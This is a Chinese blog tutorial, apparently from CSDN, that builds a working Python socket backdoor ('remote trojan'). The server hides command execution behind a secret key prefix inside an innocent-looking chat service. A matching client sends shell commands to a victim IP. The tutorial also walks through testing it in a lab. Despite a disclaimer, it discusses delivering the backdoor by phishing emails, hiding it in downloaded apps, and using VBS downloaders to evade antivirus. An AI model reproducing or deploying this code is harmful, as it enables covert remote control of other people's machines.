基于Python/Socket实现小型的远程木马(包含实验)
原文地址:
https://blog.csdn.net/BrosyveryOK/article/details/127170958?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127170958%22%2C%22source%22%3A%22BrosyveryOK%22%7D
| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
前言
本文是用 Python 的 Socket 模块进行的服务搭建,主要是基于TCP服务的远程木马,因此要掌握一点TCP服务搭建的知识,可以参考我的另一篇文章,结合网上搜索的知识,搭建TCP服务器和客户端,然后再进行实验。
参考文章:用Python搭建非常简易的TCP客户端和服务器_br0sy的博客-CSDN博客
还要用到 Python 的 os 模块,进行命令操作,接下去话不多说,直接开始写代码
TCP服务端代码
import socket, os
# 以下不写注释了,要了解原理可参考我上面的文章或自行网上搜索
def attack():
s = socket.socket()
try:
s.bind(("0.0.0.0", 6666))
s.listen()
chanel, cilent = s.accept() # accept会造成线程阻塞,但是一般情况下不考虑这个
while True:
recive_content = chanel.recv(1024).decode()
if recive_content.startswith("+=+=+"):
# 非正常业务
# 后门代码,key 是 +=+=+# ,后面加命令,就可以执行了
command = recive_content.split("#")[-1]
result = os.popen(command).read()
# 回传信息
chanel.send(result.encode())
else:
# 正常的会话(正常业务)
print(recive_content)
# 价值一个亿的人工智能代码↓(doge)
response_content = recive_content.replace("吗?", "!")
chanel.send(response_content.encode())
except:
# 防止服务器因报错停止
s.close
attack()
if __name__ == '__main__':
attack()
TCP客户端代码
import socket
# 获取socket对象
s = socket.socket()
# 连接TCP服务器 下面这个ip是我的 被攻击机的ip,在下面的实验中可知
s.connect(("192.168.121.133", 6666))
while True:
content = input("请输入要传到服务器的数据:")
# content = "+=+=+#" + content # 只要执行命令的话就打开这行代码,自动补充了key
s.send(content.encode())
# 传回数据
recive_content = s.recv(10240).decode() # 这里缓冲区设置的大一点,防止回传信息过多而无法接收
print(recive_content)
实验环境
客户端(攻击端):win10: ip:????(不需要知道)
服务端(被攻击端):Ubuntu: ip :192.168.121.132
方法
1、Ubuntu中
将TCP服务端代码放到 Ubuntu 中,并执行,就会在特定端口打开服务
如下:
开启前:在终端输入 netstat -ant 查看端口情况
现在我们开启服务:
再输入 netstat -ant 会发现 6666 端口已经开启监听
2、Win10中
在win10中,我们直接运行 客户端代码,就可以和服务器建立一个 TCP 连接,并开始传数据
于是我们可以开始干点猥琐的事情,比如....查看ip!(实在是太猥琐了)
关于如何攻击的讨论
看完上面的,你会说,别人又不傻,怎么会来执行你的脚本,不过这就涉及到社工了,总有办法的。
比如如果对方有执行代码的环境,那么也许我们可以发个邮件给别人,点开链接,进入某个我们自己写的网站,然后下载一些py程序,或者干脆下载一个应用,然后把后门放进去,由于每台windows都可以直接执行 vbs 文件,所以老旧的办法是用vbs写中间下载代码,绕过杀毒软件(免杀),然后下载真后门,不过现在好像杀毒软件都比较吊,有点难绕...以上仅是攻击讨论猜测,纯属玩笑话,看看就好。
仍存在的问题
在实验过程中,发现其实这个服务端代码写的仍然有点问题,应该是阻塞的问题,当我们在客户端中输入了错误的命令时,服务端会发生阻塞,客户端就得不到任何回显了,当然我们可以重启客户端(这是我们能做的),就可以重新发命令。
然后有的时候会莫名其妙产生BUG,估计也和操作系统有关系,不太懂了。以后学到了再回头说吧。